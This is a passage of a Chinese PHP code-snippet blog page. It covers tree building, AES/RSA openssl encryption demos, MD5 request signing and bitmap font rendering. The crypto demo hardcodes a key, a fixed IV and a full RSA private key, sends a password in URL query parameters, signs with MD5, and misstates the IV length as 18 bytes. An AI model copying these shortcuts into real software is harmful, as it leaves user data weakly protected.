</span>&#123;</span><br><span class="line">        <span class="comment">// 创建Tree</span></span><br><span class="line">        $tree = [];</span><br><span class="line">        <span class="keyword">if</span> (is_array($list)) &#123;</span><br><span class="line">            <span class="comment">// 创建基于主键的数组引用</span></span><br><span class="line">            $refer = [];</span><br><span class="line">            foreach ($list <span class="keyword">as</span> $key =&gt; $data) &#123;</span><br><span class="line">                $refer[$data[$pk]] = &amp;$list[$key];</span><br><span class="line">            &#125;</span><br><span class="line">            foreach ($list <span class="keyword">as</span> $key =&gt; $data) &#123;</span><br><span class="line">                <span class="comment">// 判断是否存在parent</span></span><br><span class="line">                $parentId = $data[$pid];</span><br><span class="line">                <span class="keyword">if</span> ($root == $parentId) &#123;</span><br><span class="line">                    $tree[] = &amp;$list[$key];</span><br><span class="line">                &#125; <span class="keyword">else</span> &#123;</span><br><span class="line">                    <span class="keyword">if</span> (isset($refer[$parentId])) &#123;</span><br><span class="line">                        $parent = &amp;$refer[$parentId];</span><br><span class="line">                        $parent[$child][] = &amp;$list[$key];</span><br><span class="line">                    &#125; <span class="keyword">else</span> &#123;</span><br><span class="line">                        $tree[] = &amp;$list[$key];</span><br><span class="line">                    &#125;</span><br><span class="line">                &#125;</span><br><span class="line">            &#125;</span><br><span class="line">        &#125;</span><br><span class="line">        <span class="keyword">return</span> $tree;</span><br><span class="line">    &#125;</span><br><span class="line">    使用模型自带关联关系可以实现无限级</span><br><span class="line">    </span><br><span class="line">        <span class="comment">/**</span></span><br><span class="line"><span class="comment">         * 返回子节点</span></span><br><span class="line"><span class="comment">         * @return \Illuminate\Database\Eloquent\Relations\HasMany</span></span><br><span class="line"><span class="comment">         */</span></span><br><span class="line">        public <span class="function"><span class="keyword">function</span> <span class="title">children</span>(<span class="params"></span>)</span></span><br><span class="line"><span class="function">        </span>&#123;</span><br><span class="line">            <span class="keyword">return</span> $<span class="keyword">this</span>-&gt;hasMany(get_class($<span class="keyword">this</span>),<span class="string">'p_id'</span>,<span class="string">'id'</span>);</span><br><span class="line">        &#125;</span><br><span class="line">    </span><br><span class="line">        <span class="comment">/**</span></span><br><span class="line"><span class="comment">         * 所有子节点https://learnku.com/laravel/t/31828</span></span><br><span class="line"><span class="comment">         * @return \Illuminate\Database\Eloquent\Relations\HasMany</span></span><br><span class="line"><span class="comment">         */</span></span><br><span class="line">        public <span class="function"><span class="keyword">function</span> <span class="title">allChildren</span>(<span class="params"></span>)</span></span><br><span class="line"><span class="function">        </span>&#123;</span><br><span class="line">            <span class="keyword">return</span> $<span class="keyword">this</span>-&gt;children()-&gt;<span class="keyword">with</span>( <span class="string">'allChildren'</span> );</span><br><span class="line">        &#125;</span><br><span class="line">    </span><br><span class="line">        <span class="comment">/**</span></span><br><span class="line"><span class="comment">         * 父节点</span></span><br><span class="line"><span class="comment">         * @return \Illuminate\Database\Eloquent\Relations\HasOne</span></span><br><span class="line"><span class="comment">         */</span></span><br><span class="line">        public <span class="function"><span class="keyword">function</span> <span class="title">parent</span>(<span class="params"></span>)</span></span><br><span class="line"><span class="function">        </span>&#123;</span><br><span class="line">            <span class="keyword">return</span> $<span class="keyword">this</span>-&gt;hasOne(get_class($<span class="keyword">this</span>),<span class="string">'id'</span>,<span class="string">'p_id'</span>);</span><br><span class="line">        &#125;</span><br><span class="line">        https:<span class="comment">//github.com/lazychaser/laravel-nestedset</span></span><br><span class="line"><span class="function"><span class="keyword">function</span> <span class="title">getTree</span>(<span class="params">$arrs,$root=<span class="number">0</span>,$level=<span class="number">100</span></span>)</span></span><br><span class="line"><span class="function"></span>&#123;</span><br><span class="line">    $tree = array();</span><br><span class="line">    foreach ($arrs <span class="keyword">as</span> $foo) &#123;</span><br><span class="line">        <span class="keyword">if</span> ($foo[<span class="string">'parent_id'</span>] == $root) &#123;</span><br><span class="line"></span><br><span class="line">           <span class="keyword">if</span>($level&gt;<span class="number">0</span>)&#123;               </span><br><span class="line">            $foo[<span class="string">'children'</span>] = getTree($arrs,$foo[<span class="string">'id'</span>],$level<span class="number">-1</span>);     </span><br><span class="line">           &#125;</span><br><span class="line">            $tree[] = $foo;</span><br><span class="line"></span><br><span class="line">        &#125;</span><br><span class="line">    &#125;</span><br><span class="line">    --$level;</span><br><span class="line">    <span class="keyword">return</span> $tree;</span><br><span class="line">&#125;        </span><br><span class="line">    var_export ($arrs,<span class="number">0</span>,<span class="number">0</span>)<span class="comment">// 一级</span></span><br><span class="line">    </span><br><span class="line">    array (</span><br><span class="line">      <span class="number">0</span> =&gt; </span><br><span class="line">      array (</span><br><span class="line">        <span class="string">'id'</span> =&gt; <span class="number">1</span>,</span><br><span class="line">        <span class="string">'parent_id'</span> =&gt; <span class="number">0</span>,</span><br><span class="line">      ),</span><br><span class="line">      <span class="number">1</span> =&gt; </span><br><span class="line">      array (</span><br><span class="line">        <span class="string">'id'</span> =&gt; <span class="number">5</span>,</span><br><span class="line">        <span class="string">'parent_id'</span> =&gt; <span class="number">0</span>,</span><br><span class="line">      ),</span><br><span class="line">    )</span><br><span class="line">    var_export ($arrs,<span class="number">0</span>,<span class="number">1</span>)<span class="comment">// 两级</span></span><br><span class="line">    </span><br><span class="line">    array (</span><br><span class="line">      <span class="number">0</span> =&gt; </span><br><span class="line">      array (</span><br><span class="line">        <span class="string">'id'</span> =&gt; <span class="number">1</span>,</span><br><span class="line">        <span class="string">'parent_id'</span> =&gt; <span class="number">0</span>,</span><br><span class="line">        <span class="string">'children'</span> =&gt; </span><br><span class="line">        array (</span><br><span class="line">          <span class="number">0</span> =&gt; </span><br><span class="line">          array (</span><br><span class="line">            <span class="string">'id'</span> =&gt; <span class="number">2</span>,</span><br><span class="line">            <span class="string">'parent_id'</span> =&gt; <span class="number">1</span>,</span><br><span class="line">          ),</span><br><span class="line">        ),</span><br><span class="line">      ),</span><br><span class="line">      <span class="number">1</span> =&gt; </span><br><span class="line">      array (</span><br><span class="line">        <span class="string">'id'</span> =&gt; <span class="number">5</span>,</span><br><span class="line">        <span class="string">'parent_id'</span> =&gt; <span class="number">0</span>,</span><br><span class="line">        <span class="string">'children'</span> =&gt; </span><br><span class="line">        array (</span><br><span class="line">          <span class="number">0</span> =&gt; </span><br><span class="line">          array (</span><br><span class="line">            <span class="string">'id'</span> =&gt; <span class="number">6</span>,</span><br><span class="line">            <span class="string">'parent_id'</span> =&gt; <span class="number">5</span>,</span><br><span class="line">          ),</span><br><span class="line">        ),</span><br><span class="line">      ),</span><br><span class="line">    )</span><br></pre></td></tr></table></figure>
<h3 id="php加密"><a href="#php加密" class="headerlink" title="php加密"></a>php加密</h3><figure class="highlight javascript"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br><span class="line">25</span><br><span class="line">26</span><br><span class="line">27</span><br><span class="line">28</span><br><span class="line">29</span><br><span class="line">30</span><br><span class="line">31</span><br><span class="line">32</span><br><span class="line">33</span><br><span class="line">34</span><br><span class="line">35</span><br><span class="line">36</span><br><span class="line">37</span><br><span class="line">38</span><br><span class="line">39</span><br><span class="line">40</span><br><span class="line">41</span><br><span class="line">42</span><br><span class="line">43</span><br><span class="line">44</span><br><span class="line">45</span><br><span class="line">46</span><br><span class="line">47</span><br><span class="line">48</span><br><span class="line">49</span><br><span class="line">50</span><br><span class="line">51</span><br><span class="line">52</span><br><span class="line">53</span><br><span class="line">54</span><br><span class="line">55</span><br><span class="line">56</span><br><span class="line">57</span><br><span class="line">58</span><br><span class="line">59</span><br><span class="line">60</span><br><span class="line">61</span><br><span class="line">62</span><br><span class="line">63</span><br><span class="line">64</span><br><span class="line">65</span><br><span class="line">66</span><br><span class="line">67</span><br><span class="line">68</span><br><span class="line">69</span><br><span class="line">70</span><br><span class="line">71</span><br><span class="line">72</span><br><span class="line">73</span><br><span class="line">74</span><br><span class="line">75</span><br><span class="line">76</span><br><span class="line">77</span><br><span class="line">78</span><br><span class="line">79</span><br><span class="line">80</span><br><span class="line">81</span><br><span class="line">82</span><br><span class="line">83</span><br><span class="line">84</span><br><span class="line">85</span><br><span class="line">86</span><br><span class="line">87</span><br><span class="line">88</span><br><span class="line">89</span><br><span class="line">90</span><br><span class="line">91</span><br><span class="line">92</span><br><span class="line">93</span><br><span class="line">94</span><br><span class="line">95</span><br><span class="line">96</span><br><span class="line">97</span><br><span class="line">98</span><br><span class="line">99</span><br><span class="line">100</span><br><span class="line">101</span><br><span class="line">102</span><br><span class="line">103</span><br><span class="line">104</span><br><span class="line">105</span><br><span class="line">106</span><br><span class="line">107</span><br><span class="line">108</span><br><span class="line">109</span><br><span class="line">110</span><br><span class="line">111</span><br><span class="line">112</span><br></pre></td><td class="code"><pre><span class="line">AES 加密 / 解密</span><br><span class="line"></span><br><span class="line"><span class="comment">//获取可用的密码加密算法列表</span></span><br><span class="line"><span class="comment">//$methods = openssl_get_cipher_methods();</span></span><br><span class="line"><span class="comment">//var_dump($methods);</span></span><br><span class="line"></span><br><span class="line"># AES加密演示</span><br><span class="line"><span class="comment">//明文(要加密的内容)</span></span><br><span class="line">$str = <span class="string">"这是测试用例 我是明文"</span>;</span><br><span class="line"><span class="comment">//秘钥(用例:使用uniqid()函数生成了一个唯一ID)</span></span><br><span class="line">$key = <span class="string">"5d3fb4acb2292"</span>;</span><br><span class="line"><span class="comment">//加密算法</span></span><br><span class="line">$method = <span class="string">"AES-128-CBC"</span>;</span><br><span class="line"><span class="comment">//加密向量(要求18个字节)</span></span><br><span class="line">$iv = <span class="string">"1234567812345678"</span>;</span><br><span class="line">$encrypt_str = openssl_encrypt($str, $method, $key, <span class="number">0</span>, $iv);</span><br><span class="line">var_dump(<span class="string">"AES加密结果:"</span>.$encrypt_str);</span><br><span class="line"></span><br><span class="line"># AES解密演示</span><br><span class="line"><span class="comment">//$encrypt_str AES加密后产生的密文</span></span><br><span class="line"><span class="comment">//$key 秘钥(同上)</span></span><br><span class="line">$decrypt_str = openssl_decrypt($encrypt_str, $method, $key, <span class="number">0</span>, $iv);</span><br><span class="line">var_dump(<span class="string">"AES解密结果:"</span>.$decrypt_str);</span><br><span class="line"></span><br><span class="line">RSA 加密</span><br><span class="line"></span><br><span class="line"><span class="number">1.</span>公/私钥加密算法,属于非对称加密:</span><br><span class="line"><span class="number">2.</span>优点:极难被破解;</span><br><span class="line"><span class="number">3.</span>缺点:速度慢,运算次数多,不适合加密长文本;</span><br><span class="line"><span class="comment">//公钥(项目中可在线生产亦可自己生成)</span></span><br><span class="line">$PUBLIC_KEY = <span class="string">"-----BEGIN PUBLIC KEY-----</span></span><br><span class="line"><span class="string">MIIBIjANBgkqhkiG9w0BAQEFAAOCAQ8AMIIBCgKCAQEApJJ7D/U9lHLNQdl4LZSr</span></span><br><span class="line"><span class="string">jNvdCelIraMnSD/iujWxyw/QDLXPCtP06ll42JURGlYaO2DU5c5BKEUF0alyzlE9</span></span><br><span class="line"><span class="string">XiHRXPl0LabI/CjGtrIB4RApy1PjkQ31QOt+9R2Nmb7RUkfZwnCWHBlNVnwj4U6J</span></span><br><span class="line"><span class="string">woccrlUdElBWU5twFc2PNPbMR6nA/ldUwDpcveNHNp57BrgYfUFcLrjmf2LH6c7X</span></span><br><span class="line"><span class="string">ngBNPbG5ha5pmsaXm8MAqBRtAvIwvUsvJLIr+XRc27pCJFe/1MtS4hHhTPE4un/z</span></span><br><span class="line"><span class="string">Y/tIrpqm6MimdJcs8oqEQPoztfs5BTNu2jVgrKwtWExDXODWmHemQoaCwzgt3wMy</span></span><br><span class="line"><span class="string">3wIDAQAB</span></span><br><span class="line"><span class="string">-----END PUBLIC KEY-----"</span>;</span><br><span class="line"><span class="comment">//私钥(项目中可在线生产亦可自己生成)</span></span><br><span class="line">$PRIVATE_KEY = <span class="string">"-----BEGIN PRIVATE KEY-----</span></span><br><span class="line"><span class="string">MIIEvQIBADANBgkqhkiG9w0BAQEFAASCBKcwggSjAgEAAoIBAQCkknsP9T2Ucs1B</span></span><br><span class="line"><span class="string">2XgtlKuM290J6UitoydIP+K6NbHLD9AMtc8K0/TqWXjYlREaVho7YNTlzkEoRQXR</span></span><br><span class="line"><span class="string">qXLOUT1eIdFc+XQtpsj8KMa2sgHhECnLU+ORDfVA6371HY2ZvtFSR9nCcJYcGU1W</span></span><br><span class="line"><span class="string">fCPhTonChxyuVR0SUFZTm3AVzY809sxHqcD+V1TAOly940c2nnsGuBh9QVwuuOZ/</span></span><br><span class="line"><span class="string">YsfpzteeAE09sbmFrmmaxpebwwCoFG0C8jC9Sy8ksiv5dFzbukIkV7/Uy1LiEeFM</span></span><br><span class="line"><span class="string">8Ti6f/Nj+0iumqboyKZ0lyzyioRA+jO1+zkFM27aNWCsrC1YTENc4NaYd6ZChoLD</span></span><br><span class="line"><span class="string">OC3fAzLfAgMBAAECggEAUcCieW7uREwzQr7xQFNWVQbzavUEMZ2W6gEydCYwSBt2</span></span><br><span class="line"><span class="string">0pmOXGamh7QioBSNBnQ3W7/igrZPD94Z4ek3Kt6YiaZrBrC00ejEdt8at6791/vb</span></span><br><span class="line"><span class="string">hzIJHgm9B5701nbz3Kg5+5HNzxV2vEalcI0Cle4Z6RSNXtzRMEPQXoAc0ffnZ/tV</span></span><br><span class="line"><span class="string">033zAN4nWb9zeLw03/D0nbcpaYA/WbwqsNiTxbbi0s54oTsaOTMBBAK9oH9H2M5J</span></span><br><span class="line"><span class="string">506iINcKniyMi6i0cf/cQ+tP6VUCOMHdWm/zJmQ5s2eU/2SowSKMXMLIGUH2Q4AX</span></span><br><span class="line"><span class="string">Z2htX4YwvdHGlGA5yPuiMznkFidVcERfbVl9yi54YQKBgQDQYqj2bb0bvD8YuvXx</span></span><br><span class="line"><span class="string">htdBQrxiX53pZ1sVoh5SMxD+Lq6tpn4UtOJw6tpE7tgONmWRaKCH10fgX5nQoXPJ</span></span><br><span class="line"><span class="string">0Y02qiDyk/TkE0OGiYRTjjkjY3yPkBIz9KRCoIUcwirEfWdzmjFLTq9hiaGo9JXN</span></span><br><span class="line"><span class="string">HcLXOgpAbiQe+qXf9x/waWB/hQKBgQDKLQB9Ep9A6UFlumXaEr971A7HcQI2BsfP</span></span><br><span class="line"><span class="string">kRfCcT1rphnENHCa37o+5i6tTImAXI+aayp9Jpv0rXLbzFbBkdUdUDINulXSsLRT</span></span><br><span class="line"><span class="string">bq3ttbu5c+NG21XW1fvVqf4VYOP7u/l0Z2eBIsg9uLswS3zltTG8ikm+RKhMf1DV</span></span><br><span class="line"><span class="string">PDAOoLmMEwKBgDn0po9a9/Rlx5qmLM7OtMFGwUQO2clXYILEwvATmc9HxncvTfOO</span></span><br><span class="line"><span class="string">V0gWWTxAvUA+qsLlOXhuTGQ/0nSu4pgnusGQUXeF5N8l6Grbhj0C2itYeQUoiZd/</span></span><br><span class="line"><span class="string">m8uX/01/Rwu84O/K25jZOnfDIn3uAFe6xjy7vKwstckT5txCS9S+SgNNAoGAbvLl</span></span><br><span class="line"><span class="string">Sr32cUvQXMA+9r7FIHJOLfsBaJ6t9mW8cTNtrm63wym4BfXzImN1iBrxdmTVVbur</span></span><br><span class="line"><span class="string">1IRkn5Cz8JUhoxahqnWBEnGIeZgJTaP2hPXvcCV9uzvQzpYdnrKsQhUq59HPYqcA</span></span><br><span class="line"><span class="string">cSiiVOTUrPswLmsSQVJuh6Dr7xcLSAnAobZoPMsCgYEAsJuY5RcB1sjYortRNsKb</span></span><br><span class="line"><span class="string">KHLiLI93P0MFF46V/343d3BU7TZfETg703Mj2AfOAGTM2p2BkHFri3l+4oigMqpr</span></span><br><span class="line"><span class="string">hAp4hNq4KFK2SCjzedrLV7QIgtp/uMZ+q/yhRtiG8kSWlI9c0Un00+KqIwFqfwAB</span></span><br><span class="line"><span class="string">l1zOX5QcMa1X7eWSvZ559ko=</span></span><br><span class="line"><span class="string">-----END PRIVATE KEY-----"</span>;</span><br><span class="line"></span><br><span class="line"><span class="comment">//待加密明文</span></span><br><span class="line">$data = <span class="string">"这是RSA待加密明文"</span>;</span><br><span class="line"><span class="comment">//用于接收加密后的密文</span></span><br><span class="line">$content_encrypt = <span class="string">""</span>;</span><br><span class="line"> # 私钥加密</span><br><span class="line">openssl_private_encrypt($data, $content_encrypt, $PRIVATE_KEY, <span class="number">1</span>);</span><br><span class="line">var_dump(<span class="string">"私钥加密结果:"</span>.$content_encrypt);</span><br><span class="line"></span><br><span class="line"> # 公钥解密https://learnku.com/articles/31841</span><br><span class="line"><span class="comment">//$content_encrypt 私钥加密后的密文</span></span><br><span class="line"><span class="comment">//用于接收解密后的明文</span></span><br><span class="line">$content_decrypt = <span class="string">""</span>;</span><br><span class="line">openssl_public_decrypt($content_encrypt, $content_decrypt, $PUBLIC_KEY, <span class="number">1</span>);</span><br><span class="line">var_dump(<span class="string">"公钥解密结果:"</span>.$content_decrypt);</span><br><span class="line"><span class="comment">//根军 MD5()函数的不可逆性进行签名校验</span></span><br><span class="line"><span class="comment">//首先必须要有 $appKey与$secretKey</span></span><br><span class="line">$appKey = <span class="string">"5d3fb4acb2292"</span>;</span><br><span class="line">$secretKey = <span class="string">"5d3fb4acb22925d3fb4acb22925d3fb4acb2292"</span>;</span><br><span class="line"></span><br><span class="line">$url = <span class="string">"localhost/text_sig.php"</span>;</span><br><span class="line"></span><br><span class="line"><span class="comment">//待传递的参数</span></span><br><span class="line">$params[<span class="string">'appKey'</span>] = $appKey;</span><br><span class="line">$params[<span class="string">'name'</span>] = <span class="string">"张三"</span>;</span><br><span class="line">$params[<span class="string">'age'</span>] = <span class="string">"26"</span>;</span><br><span class="line">$params[<span class="string">'sex'</span>] = <span class="string">"男"</span>;</span><br><span class="line">$params[<span class="string">'root'</span>] = <span class="string">"admin"</span>;</span><br><span class="line">$params[<span class="string">'password'</span>] = <span class="string">"123456"</span>;</span><br><span class="line">$params[<span class="string">'time'</span>] = time();</span><br><span class="line"><span class="comment">//获取签名</span></span><br><span class="line">$params[<span class="string">'sig'</span>] = createSig($params,$secretKey);</span><br><span class="line">$param_str = http_build_query($params);</span><br><span class="line">$url = $url.<span class="string">'?'</span>.$param_str;</span><br><span class="line">var_dump($url);</span><br><span class="line"></span><br><span class="line"><span class="comment">//生成签名</span></span><br><span class="line"><span class="function"><span class="keyword">function</span> <span class="title">createSig</span>(<span class="params">$params,$secretKey</span>)</span>&#123;</span><br><span class="line">    <span class="comment">//对参数进行排序</span></span><br><span class="line">    ksort($params);</span><br><span class="line">    $str = http_build_query($params);</span><br><span class="line">    $str .= $secretKey;</span><br><span class="line">    <span class="keyword">return</span> md5($str);</span><br><span class="line">&#125;</span><br></pre></td></tr></table></figure>
<h3 id="文字生成点阵图"><a href="#文字生成点阵图" class="headerlink" title="文字生成点阵图"></a>文字生成点阵图</h3><figure class="highlight javascript"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br><span class="line">25</span><br><span class="line">26</span><br><span class="line">27</span><br><span class="line">28</span><br><span class="line">29</span><br><span class="line">30</span><br><span class="line">31</span><br><span class="line">32</span><br><span class="line">33</span><br><span class="line">34</span><br><span class="line">35</span><br><span class="line">36</span><br><span class="line">37</span><br><span class="line">38</span><br><span class="line">39</span><br><span class="line">40</span><br><span class="line">41</span><br><span class="line">42</span><br><span class="line">43</span><br><span class="line">44</span><br><span class="line">45</span><br><span class="line">46</span><br><span class="line">47</span><br><span class="line">48</span><br><span class="line">49</span><br><span class="line">50</span><br><span class="line">51</span><br><span class="line">52</span><br><span class="line">53</span><br><span class="line">54</span><br><span class="line">55</span><br><span class="line">56</span><br><span class="line">57</span><br><span class="line">58</span><br><span class="line">59</span><br><span class="line">60</span><br><span class="line">61</span><br><span class="line">62</span><br><span class="line">63</span><br><span class="line">64</span><br><span class="line">65</span><br><span class="line">66</span><br><span class="line">67</span><br><span class="line">68</span><br><span class="line">69</span><br><span class="line">70</span><br><span class="line">71</span><br><span class="line">72</span><br><span class="line">73</span><br><span class="line">74</span><br><span class="line">75</span><br><span class="line">76</span><br><span class="line">77</span><br><span class="line">78</span><br><span class="line">79</span><br><span class="line">80</span><br><span class="line">81</span><br><span class="line">82</span><br><span class="line">83</span><br><span class="line">84</span><br><span class="line">85</span><br><span class="line">86</span><br><span class="line">87</span><br><span class="line">88</span><br><span class="line">89</span><br><span class="line">90</span><br><span class="line">91</span><br><span class="line">92</span><br><span class="line">93</span><br><span class="line">94</span><br><span class="line">95</span><br><span class="line">96</span><br><span class="line">97</span><br><span class="line">98</span><br><span class="line">99</span><br><span class="line">100</span><br><span class="line">101</span><br><span class="line">102</span><br><span class="line">103</span><br><span class="line">104</span><br><span class="line">105</span><br><span class="line">106</span><br><span class="line">107</span><br><span class="line">108</span><br><span class="line">109</span><br><span class="line">110</span><br><span class="line">111</span><br><span class="line">112</span><br><span class="line">113</span><br><span class="line">114</span><br><span class="line">115</span><br><span class="line">116</span><br><span class="line">117</span><br><span class="line">118</span><br><span class="line">119</span><br><span class="line">120</span><br><span class="line">121</span><br><span class="line">122</span><br><span class="line">123</span><br><span class="line">124</span><br><span class="line">125</span><br><span class="line">126</span><br><span class="line">127</span><br><span class="line">128</span><br><span class="line">129</span><br><span class="line">130</span><br><span class="line">131</span><br><span class="line">132</span><br></pre></td><td class="code"><pre><span class="line"></span><br><span class="line">$font_width = <span class="number">16</span>; <span class="comment">// 单字宽度</span></span><br><span class="line">$font_height = <span class="number">16</span>; <span class="comment">// 单字高度</span></span><br><span class="line">$byteCount = $font_width * $font_height / <span class="number">8</span>;<span class="comment">//一个点阵占的字节数</span></span><br><span class="line"></span><br><span class="line">$str=iconv(<span class="string">"utf-8"</span>,<span class="string">"gb2312//IGNORE"</span>, <span class="string">"我是大是的大萨法fasf大多数"</span>);</span><br><span class="line">$n=<span class="number">5</span>;<span class="comment">//每一行四个字</span></span><br><span class="line"></span><br><span class="line"><span class="comment">//所有字的字模</span></span><br><span class="line">$dot = getDot($str,$byteCount);</span><br><span class="line"><span class="comment">/**</span></span><br><span class="line"><span class="comment"> * $positions 平面坐标系</span></span><br><span class="line"><span class="comment"> * $sections 每一个字模在平面坐标系中的点。（可移动每一个字模的位置）</span></span><br><span class="line"><span class="comment"> * $spreadSections 所有字模在平面坐标系中的点，是$sections的展开</span></span><br><span class="line"><span class="comment"> *</span></span><br><span class="line"><span class="comment"> */</span></span><br><span class="line">list($positions,$sections,$spreadSections) = getPositionsSections($dot,$byteCount,$n);</span><br><span class="line"></span><br><span class="line"><span class="comment">/**</span></span><br><span class="line"><span class="comment"> * 输出点阵html字符串</span></span><br><span class="line"><span class="comment"> */</span></span><br><span class="line">echo getOutHtml($positions,$sections,$spreadSections,$n);</span><br><span class="line"></span><br><span class="line"><span class="comment">/**</span></span><br><span class="line"><span class="comment"> * 从字库中获得每一个字的字模</span></span><br><span class="line"><span class="comment"> * @param $str</span></span><br><span class="line"><span class="comment"> * @param $byteCount</span></span><br><span class="line"><span class="comment"> * @return string</span></span><br><span class="line"><span class="comment"> */</span></span><br><span class="line"><span class="function"><span class="keyword">function</span> <span class="title">getDot</span>(<span class="params">$str,$byteCount</span>)</span>&#123;</span><br><span class="line">    $dot=<span class="string">''</span>;</span><br><span class="line">    $fontFileName = <span class="string">'./HZK16'</span>;<span class="comment">//字库名字</span></span><br><span class="line">    $fp = fopen($fontFileName, <span class="string">"rb"</span>);</span><br><span class="line">    <span class="keyword">for</span> ($i=<span class="number">0</span>;$i&lt;strlen($str);$i++)&#123;</span><br><span class="line"></span><br><span class="line">        <span class="keyword">if</span>(ord($str[$i])&lt;<span class="number">160</span>)&#123;<span class="comment">//非汉字</span></span><br><span class="line">            $location=(ord($str&#123;$i&#125;) + <span class="number">156</span><span class="number">-1</span>) * $byteCount;</span><br><span class="line">        &#125;<span class="keyword">else</span> &#123;<span class="comment">//汉字</span></span><br><span class="line">            $qh = ord($str[$i]) - <span class="number">32</span> - <span class="number">128</span>;<span class="comment">//区码</span></span><br><span class="line">            $wh = ord($str[++$i]) - <span class="number">32</span> - <span class="number">128</span>;<span class="comment">//位码</span></span><br><span class="line">            $location = (<span class="number">94</span> * ($qh - <span class="number">1</span>) + ($wh - <span class="number">1</span>)) * $byteCount; <span class="comment">/* 计算汉字字模在文件中的位置 */</span></span><br><span class="line">        &#125;</span><br><span class="line">        fseek($fp, $location, SEEK_SET);<span class="comment">//定位到汉字或字母指针开始的地方</span></span><br><span class="line">        $dot.= fread($fp, $byteCount);<span class="comment">//读取32字节的长度，一个字节8位，一行依次放两个字节组成16*16的点阵</span></span><br><span class="line">    &#125;</span><br><span class="line">    fclose($fp);</span><br><span class="line">    <span class="keyword">return</span> $dot;</span><br><span class="line">&#125;</span><br><span class="line"></span><br><span class="line"><span class="comment">/**</span></span><br><span class="line"><span class="comment"> * 建平面按坐标系。并把每一区块用平面坐标系表示</span></span><br><span class="line"><span class="comment"> * @param $dot</span></span><br><span class="line"><span class="comment"> * @param $byteCount</span></span><br><span class="line"><span class="comment"> * @param $n</span></span><br><span class="line"><span class="comment"> * @return array</span></span><br><span class="line"><span class="comment"> */</span></span><br><span class="line"><span class="function"><span class="keyword">function</span> <span class="title">getPositionsSections</span>(<span class="params">$dot,$byteCount,$n</span>)</span>&#123;</span><br><span class="line"></span><br><span class="line">    $count= strlen($dot)/$byteCount;<span class="comment">//多少个字</span></span><br><span class="line">    $positions=[];</span><br><span class="line">    $sections =[];</span><br><span class="line">    $sectionCount=$count;</span><br><span class="line"></span><br><span class="line">    <span class="keyword">for</span> ($i=<span class="number">0</span>;$i&lt;$sectionCount;$i++)&#123;</span><br><span class="line">        $sections[]=[];</span><br><span class="line"></span><br><span class="line">    &#125;</span><br><span class="line"></span><br><span class="line">    $yHeight=(intval($count/$n)*<span class="number">16</span>+<span class="number">16</span>);</span><br><span class="line">    $xWeight=<span class="number">16</span>*$n;</span><br><span class="line">    <span class="keyword">for</span> ($i=<span class="number">0</span>;$i&lt;$yHeight;$i++)&#123;</span><br><span class="line">        <span class="keyword">for</span> ($j=<span class="number">0</span>;$j&lt;$xWeight;$j++)&#123;</span><br><span class="line">            $positions []=[$j,$i];</span><br><span class="line">            $x=ceil(($j+<span class="number">1</span>)/<span class="number">16</span>);</span><br><span class="line">            $y=ceil(($i+<span class="number">1</span>)/<span class="number">16</span>);</span><br><span class="line">            $y--;</span><br><span class="line">            $x--;</span><br><span class="line">            $sections[(($y)*$n+$x)][] = [$j,$i];</span><br><span class="line"></span><br><span class="line">        &#125;</span><br><span class="line">    &#125;</span><br><span class="line"></span><br><span class="line">    <span class="keyword">for</span> ($b=<span class="number">0</span>;$b&lt;$count;$b++)&#123;<span class="comment">//每一个字占用的点阵</span></span><br><span class="line">        $str = substr($dot,($b)*<span class="number">32</span>,$byteCount);<span class="comment">//第几个字</span></span><br><span class="line">        $dot_string=<span class="string">''</span>;</span><br><span class="line">        <span class="keyword">for</span> ($c = <span class="number">0</span>; $c &lt; $byteCount; $c++)&#123;</span><br><span class="line">            $dot_string .= sprintf(<span class="string">"%08b"</span>, ord($str[$c]));</span><br><span class="line">            <span class="keyword">if</span> ($c % <span class="number">2</span> == <span class="number">1</span>) &#123;</span><br><span class="line"></span><br><span class="line">                <span class="keyword">for</span>($a=<span class="number">0</span>;$a&lt;strlen($dot_string);$a++)&#123;</span><br><span class="line">                    <span class="keyword">if</span>($dot_string[$a])&#123;<span class="comment">//和平面坐标系关联起来</span></span><br><span class="line">                        $sections[$b][intval(<span class="number">16</span>*floor($c/<span class="number">2</span>)+$a)][]=<span class="number">1</span>;</span><br><span class="line">                    &#125;</span><br><span class="line">                &#125;</span><br><span class="line">                $dot_string = <span class="string">''</span>;</span><br><span class="line">            &#125;</span><br><span class="line">        &#125;</span><br><span class="line">    &#125;</span><br><span class="line">    $spreadSections=[];<span class="comment">//每一个字块的的点展开到数组中</span></span><br><span class="line">    foreach ($sections <span class="keyword">as</span> $section)&#123;</span><br><span class="line">        $spreadSections  = array_merge($spreadSections,$section);</span><br><span class="line">    &#125;</span><br><span class="line"></span><br><span class="line">    <span class="keyword">return</span> [$positions,$sections,$spreadSections,$count,$sectionCount];</span><br><span class="line"></span><br><span class="line">&#125;</span><br><span class="line"></span><br><span class="line"><span class="function"><span class="keyword">function</span> <span class="title">getOutHtml</span>(<span class="params">$positions,$sections,$spreadSections,$n</span>)</span>&#123;</span><br><span class="line">    $str=<span class="string">"&lt;html&gt;&lt;body&gt;&lt;table border='1' width='100%' style='text-align: center'&gt;"</span>;</span><br><span class="line">    foreach (array_chunk($positions,<span class="number">16</span>*$n) <span class="keyword">as</span> $row)&#123;</span><br><span class="line"></span><br><span class="line">        $str.=getOutRow($row,$sections,$spreadSections);</span><br><span class="line">    &#125;</span><br><span class="line">    $str .= <span class="string">"&lt;/table&gt;&lt;/body&gt;</span></span><br><span class="line"><span class="string">&lt;/html&gt;"</span>;</span><br><span class="line">    <span class="keyword">return</span> $str;</span><br><span 